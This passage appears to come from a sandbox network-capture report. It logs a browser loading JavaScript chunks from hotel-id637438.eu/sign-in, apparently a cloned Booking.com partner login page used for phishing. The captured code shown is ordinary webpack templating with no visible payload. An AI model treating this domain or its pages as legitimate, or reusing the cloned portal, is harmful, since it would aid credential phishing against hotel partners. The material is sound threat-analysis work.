-size-small--l":"SvwhqjISevOOCITZU4KE","root--size-medium--l":"wUhTJWKJ8yBkgPqdwQqt","root--size-large--l":"FMgo69UYyhv2np5XQVBg","root--size-larger--l":"gyyymKaGOGrlWVFnY9wh","root--size-small--xl":"q9k5YVeUsYOYgju29SwD","root--size-medium--xl":"BQ4fxiQl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49734	35.190.80.1	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:27 UTC	488	OUT	POST /report/v4?s=5VEwrHJCj5UIAvdkySTjdb1lNtu3anNH5qtf5MktDCOTLRy%2BAY1ChKfb3HTqvYxPwN%2Bb7C6GTT7Q9YIEgsxfTbJhvAEpfu2zOQzuapT1cK0Jpbiqzimmah4f%2F%2FoApkH6aKyL%2Fg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 492 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:27 UTC	492	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 37 36 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 68 6f 74 65 6c 2d 69 64 36 33 37 34 33 38 2e 65 75 2f 73 69 67 6e 2d 69 6e 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 39 39 2e 31 34 37 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f Data Ascii: [{"age":0,"body":{"elapsed_time":763,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://hotel-id637438.eu/sign-in","sampling_fraction":1.0,"server_ip":"172.67.199.147","status_code":404,"type":"http.error"},"type":"network-erro
2024-07-08 22:43:27 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Mon, 08 Jul 2024 22:43:27 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49736	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:27 UTC	615	OUT	GET /static/699_7dd9fbc7ebf53c180dfd.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:28 UTC	666	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 13478 Connection: close last-modified: Sat, 06 Jul 2024 13:10:51 GMT etag: "1f55adc9fa7b0ad31638010cd6c7e800" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VecsGZJr%2FZO5cm5kTL0tej1GNjlmJXXzVBO%2BwjHrWJcPzRR0bxwwp%2FLJQjVUdsKknaef5LivQSxj5kyG6fepE4ZHC8WFqvZ8Ppk%2BTSl1T5QlBguWz2ZChD3VaqHpfsrDk6zDNA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397e3dfbc43fa-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:28 UTC	703	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 36 39 39 5d 2c 7b 35 32 34 33 35 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 76 61 72 20 72 2c 6f 2c 69 2c 73 2c 75 2c 61 2c 66 2c 63 2c 6c 3b 66 75 6e 63 74 69 6f 6e 20 70 28 74 29 7b 72 65 74 75 72 6e 20 70 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f Data Ascii: "use strict";(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[699],{52435:function(t,n,e){var r,o,i,s,u,a,f,c,l;function p(t){return p="function"==typeof Symbol&&"symbol"==typeo
2024-07-08 22:43:28 UTC	1369	IN	Data Raw: 28 74 2c 6e 2c 65 29 7b 72 65 74 75 72 6e 2f 5e 5b 30 2d 39 5d 2b 24 2f 2e 74 65 73 74 28 74 29 3f 74 3a 22 22 3d 3d 3d 74 3f 6e 75 6c 6c 3a 28 4d 28 22 41 74 74 65 6d 70 74 69 6e 67 20 74 6f 20 75 73 65 20 6e 6f 6e 2d 6e 75 6d 65 72 69 63 20 76 61 6c 75 65 20 27 22 2b 74 2b 22 27 20 66 6f 72 20 74 72 61 6e 73 6c 61 74 69 6f 6e 20 74 61 67 20 27 22 2b 65 2b 22 27 22 29 2c 30 29 7d 2c 4d 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 6f 29 7b 72 3d 72 7c 7c 22 42 48 43 4a 53 20 72 75 6e 74 69 6d 65 20 69 73 73 75 65 22 2c 6e 26 26 6e 2e 65 6e 76 26 26 6e 2e 65 6e 76 2e 62 5f 64 65 76 5f 73 65 72 76 65 72 3f 28 6f 26 26 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 54 65 6d 70 6c 61 74 65 3a 20 22 2b 6f 29 2c 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 72 29 29 3a 65 2e 65 Data Ascii: (t,n,e){return/^[0-9]+$/.test(t)?t:""===t?null:(M("Attempting to use non-numeric value '"+t+"' for translation tag '"+e+"'"),0)},M=function(r,o){r=r\|\|"BHCJS runtime issue",n&&n.env&&n.env.b_dev_server?(o&&console.warn("Template: "+o),console.error(r)):e.e
2024-07-08 22:43:28 UTC	1369	IN	Data Raw: 79 70 65 6f 66 28 75 3d 6f 5b 6e 5d 29 26 26 2d 31 21 3d 3d 75 2e 69 6e 64 65 78 4f 66 28 22 7b 22 29 3f 70 28 74 2c 75 2c 65 2b 31 29 3a 74 2e 70 75 73 68 28 75 29 3a 74 2e 70 75 73 68 28 22 22 29 7d 2c 53 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 74 2e 73 70 6c 69 74 28 2f 5c 73 2f 29 2c 65 3d 30 2c 72 3d 6e 2e 6c 65 6e 67 74 68 3b 65 3c 72 3b 2b 2b 65 29 6e 5b 65 5d 3d 45 28 6e 5b 65 5d 29 3b 72 65 74 75 72 6e 20 6e 2e 6a 6f 69 6e 28 22 20 22 29 7d 2c 77 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 74 2e 74 6f 53 74 72 69 6e 67 28 29 2c 65 3d 31 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 3c 72 3b 2b 2b 65 29 69 66 28 61 72 67 75 6d 65 6e 74 73 5b 65 5d 2e 74 6f 53 74 72 69 6e 67 28 Data Ascii: ypeof(u=o[n])&&-1!==u.indexOf("{")?p(t,u,e+1):t.push(u):t.push("")},S=function(t){for(var n=t.split(/\s/),e=0,r=n.length;e<r;++e)n[e]=E(n[e]);return n.join(" ")},w=function(t){for(var n=t.toString(),e=1,r=arguments.length;e<r;++e)if(arguments[e].toString(
2024-07-08 22:43:28 UTC	1369	IN	Data Raw: 6f 20 75 73 65 20 54 4d 50 4c 5f 53 54 41 54 49 43 5f 55 52 4c 2f 54 4d 50 4c 5f 53 43 52 49 50 54 5f 55 52 4c 2c 20 70 61 73 73 20 27 67 65 74 5f 73 74 61 74 69 63 5f 68 6f 73 74 6e 61 6d 65 27 20 74 6f 20 73 65 74 75 70 28 29 22 29 7d 2c 49 53 5f 45 4d 50 54 59 5f 4f 42 4a 45 43 54 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 74 29 69 66 28 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6e 29 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 4d 42 3a 73 2c 4d 43 3a 6c 2c 4d 44 3a 67 2c 4d 45 3a 5f 2c 4d 46 3a 75 2c 4d 47 3a 66 2c 4d 49 3a 79 2c 4d 4a 3a 6d 2c 4d 4b 3a 64 2c 4d 4c 3a 62 2c 4d 4e 3a 76 2c 4d 4f 3a 61 2c 56 50 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 4d 28 22 74 6f 20 75 73 65 20 54 4d 50 Data Ascii: o use TMPL_STATIC_URL/TMPL_SCRIPT_URL, pass 'get_static_hostname' to setup()")},IS_EMPTY_OBJECT:function(t){for(var n in t)if(t.hasOwnProperty(n))return!1;return!0},MB:s,MC:l,MD:g,ME:_,MF:u,MG:f,MI:y,MJ:m,MK:d,ML:b,MN:v,MO:a,VP:function(t,n){M("to use TMP
2024-07-08 22:43:28 UTC	1369	IN	Data Raw: 65 77 20 69 28 6e 2c 74 29 3b 72 65 74 75 72 6e 20 41 5b 74 5d 3d 65 2c 65 7d 29 2e 73 65 74 75 70 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 69 66 28 6e 29 66 6f 72 28 76 61 72 20 65 20 69 6e 20 6e 29 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 65 29 26 26 28 74 5b 65 5d 3d 6e 5b 65 5d 29 7d 3b 6e 28 69 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6e 2c 74 2e 66 6e 29 2c 6e 28 69 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6e 2e 46 49 4c 54 45 52 53 2c 74 2e 66 69 6c 74 65 72 73 29 2c 22 67 65 74 5f 74 72 61 6e 73 22 69 6e 20 74 26 26 28 69 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6e 2e 47 45 54 5f 54 52 41 4e 53 3d 69 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6e 2e 4d 45 3d 74 2e 67 65 74 5f 74 72 61 6e 73 29 2c 22 67 Data Ascii: ew i(n,t);return A[t]=e,e}).setup=function(t){var n=function(t,n){if(n)for(var e in n)n.hasOwnProperty(e)&&(t[e]=n[e])};n(i.prototype.fn,t.fn),n(i.prototype.fn.FILTERS,t.filters),"get_trans"in t&&(i.prototype.fn.GET_TRANS=i.prototype.fn.ME=t.get_trans),"g
2024-07-08 22:43:28 UTC	1369	IN	Data Raw: 61 6e 73 6c 61 74 69 6f 6e 5f 74 61 67 73 29 6e 28 66 29 7c 7c 65 28 66 2c 72 2e 67 6c 6f 62 61 6c 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 5f 74 61 67 73 5b 66 5d 29 3b 72 65 74 75 72 6e 20 69 28 74 2c 6e 2c 65 2c 73 2c 75 29 7d 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 2c 72 2c 6f 29 7b 76 61 72 20 61 2c 66 3d 74 2e 73 70 6c 69 74 28 22 2f 22 29 3b 22 22 3d 3d 3d 66 5b 30 5d 26 26 66 2e 73 68 69 66 74 28 29 2c 31 3d 3d 66 2e 6c 65 6e 67 74 68 26 26 28 22 7b 22 3d 3d 3d 28 70 3d 66 5b 30 5d 29 2e 63 68 61 72 41 74 28 30 29 26 26 22 7d 22 3d 3d 3d 70 2e 63 68 61 72 41 74 28 70 2e 6c 65 6e 67 74 68 2d 31 29 26 26 28 70 3d 70 2e 73 75 62 73 74 72 28 31 2c 70 2e 6c 65 6e 67 74 68 2d 32 29 29 2c 66 3d 5b 22 70 72 69 76 61 74 65 22 2c 70 2c 22 6e 61 6d 65 Data Ascii: anslation_tags)n(f)\|\|e(f,r.global_translation_tags[f]);return i(t,n,e,s,u)},i=function(t,n,e,r,o){var a,f=t.split("/");""===f[0]&&f.shift(),1==f.length&&("{"===(p=f[0]).charAt(0)&&"}"===p.charAt(p.length-1)&&(p=p.substr(1,p.length-2)),f=["private",p,"name
2024-07-08 22:43:28 UTC	1369	IN	Data Raw: 61 6c 3a 61 2c 67 65 74 5f 74 65 78 74 3a 61 7d 29 2c 65 2e 74 72 61 6e 73 6c 61 74 69 6f 6e 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 7c 7c 7b 7d 2c 7b 67 76 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 21 3d 3d 74 5b 6e 5d 3f 74 5b 6e 5d 3a 22 22 7d 2c 73 76 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 29 7b 74 5b 6e 5d 3d 65 7d 7d 7d 28 65 29 3b 72 65 74 75 72 6e 20 6f 28 74 2c 72 2e 67 76 2c 72 2e 73 76 2c 6e 29 7d 2c 65 2e 74 72 61 6e 73 6c 61 74 69 6f 6e 73 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 6e 3d 74 2c 65 2e 73 65 74 75 70 28 7b 74 72 61 6e 73 6c 61 74 69 6f 6e 73 3a 74 2e 70 72 Data Ascii: al:a,get_text:a}),e.translations=function(t,n,e){var r=function(t){return t=t\|\|{},{gv:function(n){return void 0!==t[n]?t[n]:""},sv:function(n,e){t[n]=e}}}(e);return o(t,r.gv,r.sv,n)},e.translations.set=function(t){return t&&(n=t,e.setup({translations:t.pr
2024-07-08 22:43:28 UTC	1369	IN	Data Raw: 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 2e 72 65 70 6c 61 63 65 28 2f 5b 21 27 28 29 5d 2f 67 2c 65 73 63 61 70 65 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2a 2f 67 2c 22 25 32 41 22 29 7d 2c 76 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 53 74 72 69 6e 67 28 74 29 2e 72 65 70 6c 61 63 65 28 2f 20 2f 67 2c 22 22 29 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 53 74 72 69 6e 67 28 74 29 2e 72 65 70 6c 61 63 65 28 2f 5c 6e 2f 67 2c 22 3c 62 72 20 2f 3e 22 29 7d 2c 54 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 77 3f 77 5b 74 5d 3a 22 26 23 22 2b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 2b 22 3b 22 7d 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 53 Data Ascii: ncodeURIComponent(t).replace(/[!'()]/g,escape).replace(/\*/g,"%2A")},v=function(t){return String(t).replace(/ /g,"")},m=function(t){return String(t).replace(/\n/g,"<br />")},T=function(t){return t in w?w[t]:"&#"+t.charCodeAt(0)+";"},d=function(t){return S
2024-07-08 22:43:28 UTC	1369	IN	Data Raw: 73 3d 72 2e 6a 73 74 6d 70 6c 2e 66 6e 2e 73 74 72 69 6e 67 5f 69 6e 74 65 72 70 6f 6c 61 74 65 2c 75 3d 72 2e 6a 73 74 6d 70 6c 2e 66 6e 2e 6c 6f 63 61 6c 65 5f 66 6f 72 6d 61 74 3b 69 66 28 21 74 29 72 65 74 75 72 6e 22 22 3b 76 61 72 20 61 3d 74 2e 73 70 6c 69 74 28 22 20 22 29 2e 73 6c 69 63 65 28 30 2c 32 29 2c 66 3d 28 69 7c 7c 22 22 29 2e 73 70 6c 69 74 28 22 20 22 29 2e 73 6c 69 63 65 28 30 2c 32 29 3b 72 65 74 75 72 6e 20 73 28 75 28 7b 64 61 74 65 3a 61 5b 30 5d 2c 74 69 6d 65 3a 61 5b 31 5d 2c 64 61 74 65 5f 75 6e 74 69 6c 3a 66 5b 30 5d 2c 74 69 6d 65 5f 75 6e 74 69 6c 3a 66 5b 31 5d 2c 66 6f 72 6d 61 74 3a 6e 7d 29 2c 7b 62 65 67 69 6e 5f 6d 61 72 6b 65 72 3a 65 2c 65 6e 64 5f 6d 61 72 6b 65 72 3a 6f 7d 29 7d 2c 66 3d 66 75 6e 63 74 69 6f 6e Data Ascii: s=r.jstmpl.fn.string_interpolate,u=r.jstmpl.fn.locale_format;if(!t)return"";var a=t.split(" ").slice(0,2),f=(i\|\|"").split(" ").slice(0,2);return s(u({date:a[0],time:a[1],date_until:f[0],time_until:f[1],format:n}),{begin_marker:e,end_marker:o})},f=function
2024-07-08 22:43:28 UTC	1369	IN	Data Raw: 76 61 72 20 64 3d 75 2e 63 68 69 6c 64 4e 6f 64 65 73 2c 79 3d 30 3b 79 3c 64 2e 6c 65 6e 67 74 68 3b 79 2b 2b 29 76 2b 3d 6d 2e 73 65 72 69 61 6c 69 7a 65 54 6f 53 74 72 69 6e 67 28 64 5b 79 5d 29 7d 72 65 74 75 72 6e 22 3c 73 76 67 20 22 2b 5f 2b 22 3e 22 2b 76 2b 22 3c 2f 73 76 67 3e 22 7d 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 69 66 28 22 69 63 6f 6e 22 3d 3d 3d 74 29 7b 76 61 72 20 65 3d 6e 2e 6e 61 6d 65 3b 72 65 74 75 72 6e 20 64 65 6c 65 74 65 20 6e 2e 6e 61 6d 65 2c 6c 28 65 2c 6e 29 7d 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 75 6e 6b 6f 77 6e 20 54 4d 50 4c 5f 48 45 4c 50 45 52 20 22 2b 6e 61 6d 65 29 7d 2c 72 2e 6a 73 74 6d 70 6c 2e 73 65 74 75 70 28 7b 67 65 74 5f 73 74 61 74 69 63 5f 68 6f 73 74 6e 61 6d 65 3a 69 2c 67 Data Ascii: var d=u.childNodes,y=0;y<d.length;y++)v+=m.serializeToString(d[y])}return"<svg "+_+">"+v+"</svg>"},u=function(t,n){if("icon"===t){var e=n.name;return delete n.name,l(e,n)}throw new Error("unkown TMPL_HELPER "+name)},r.jstmpl.setup({get_static_hostname:i,g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49737	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:27 UTC	617	OUT	GET /static/index_d8899fa326030bb4a0d0.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:28 UTC	664	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1072716 Connection: close last-modified: Sat, 06 Jul 2024 13:10:41 GMT etag: "b4194ac3a10f55ad48b8f5a51081f784" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jYTOf8PZLHlT99KiVT7XEi3SSxSJOvffV7YszpUEiLO%2BdJwX1DEN6nWRisOi1fgQQYK6RKjoekaQRplFnkBB%2FcMhdzb8vzbAueF4GyUhv1DnEDRCoKa1s8PWLudBQgeSxcQR9w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397e43f770ca0-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:28 UTC	705	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 0d 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 20 3d 20 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 20 7c 7c 20 5b 5d 29 2e 70 75 73 68 28 5b 5b 35 37 5d 2c 20 7b 0d 0a 20 20 20 20 37 30 32 36 35 3a 20 66 75 6e 63 74 69 6f 6e 28 65 2c 20 6e 2c 20 74 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 61 3b 0d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 69 20 3d 20 22 66 75 6e 63 Data Ascii: "use strict";(self.webpackChunkbookings_web_accounts_portal_workspaces = self.webpackChunkbookings_web_accounts_portal_workspaces \|\| []).push([[57], { 70265: function(e, n, t) { var a; function i(e) { return i = "func
2024-07-08 22:43:28 UTC	1369	IN	Data Raw: 79 6d 62 6f 6c 73 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 61 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6e 20 26 26 20 28 61 20 3d 20 61 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 20 6e 29 2e 65 6e 75 6d 65 72 61 62 6c 65 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 29 29 29 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 Data Ascii: ymbols) { var a = Object.getOwnPropertySymbols(e); n && (a = a.filter((function(n) { return Object.getOwnPropertyDescriptor(e, n).enumerable } ))), t
2024-07-08 22:43:28 UTC	1369	IN	Data Raw: 70 61 72 74 6e 65 72 48 65 6c 70 43 65 6e 74 65 72 20 3d 20 22 22 2e 63 6f 6e 63 61 74 28 62 6f 6f 6b 69 6e 67 2e 65 6e 76 2e 75 72 6c 73 2e 70 61 72 74 6e 65 72 5f 68 65 6c 70 5f 63 65 6e 74 65 72 29 29 2c 0d 0a 20 20 20 20 20 20 20 20 62 6f 6f 6b 69 6e 67 2e 65 6e 76 2e 75 72 6c 73 2e 70 61 72 74 6e 65 72 5f 66 6f 72 75 6d 20 26 26 20 28 64 2e 70 61 72 74 6e 65 72 46 6f 72 75 6d 20 3d 20 22 22 2e 63 6f 6e 63 61 74 28 62 6f 6f 6b 69 6e 67 2e 65 6e 76 2e 75 72 6c 73 2e 70 61 72 74 6e 65 72 5f 66 6f 72 75 6d 29 29 29 3b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 5f 20 3d 20 22 68 74 74 70 73 3a 2f 2f 70 61 72 74 6e 65 72 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 2f 6e 6f 64 65 2f 32 31 37 30 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 61 63 63 6f 75 6e 74 26 75 74 6d 5f Data Ascii: partnerHelpCenter = "".concat(booking.env.urls.partner_help_center)), booking.env.urls.partner_forum && (d.partnerForum = "".concat(booking.env.urls.partner_forum))); var _ = "https://partner.booking.com/node/2170?utm_source=account&utm_
2024-07-08 22:43:28 UTC	1369	IN	Data Raw: 21 30 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 20 21 30 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 72 69 74 61 62 6c 65 3a 20 21 30 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 20 3a 20 61 5b 72 5d 20 3d 20 6f 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 29 29 20 3a 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 20 3f 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 65 2c 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 Data Ascii: !0, configurable: !0, writable: !0 }) : a[r] = o } )) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e, Object.getOwnPropertyDescriptors
2024-07-08 22:43:28 UTC	1369	IN	Data Raw: 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 72 69 76 61 63 79 43 6f 6f 6b 69 65 73 3a 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 7b 64 6f 6d 61 69 6e 7d 2f 63 6f 6e 74 65 6e 74 2f 70 72 69 76 61 63 79 2e 7b 6c 61 6e 67 7d 2e 68 74 6d 6c 23 63 6f 6f 6b 69 65 2d 73 74 61 74 65 6d 65 6e 74 7b 61 69 64 7d 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 62 6f 75 74 3a 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 7b 64 6f 6d 61 69 6e 7d 2f 63 6f 6e 74 65 6e 74 2f 61 62 6f 75 74 2e 7b 6c 61 6e 67 7d 2e 68 74 6d 6c 7b 61 69 64 7d 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 73 3a 20 75 20 3f 20 5f 20 3a 20 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 2e 7b 64 6f 6d 61 69 6e 7d 2f 63 6f 6e 74 65 6e 74 2f 63 73 2e 7b 6c 61 6e 67 7d 2e 68 74 6d 6c 7b 61 69 Data Ascii: , privacyCookies: "https://www.{domain}/content/privacy.{lang}.html#cookie-statement{aid}", about: "https://www.{domain}/content/about.{lang}.html{aid}", cs: u ? _ : "https://secure.{domain}/content/cs.{lang}.html{ai
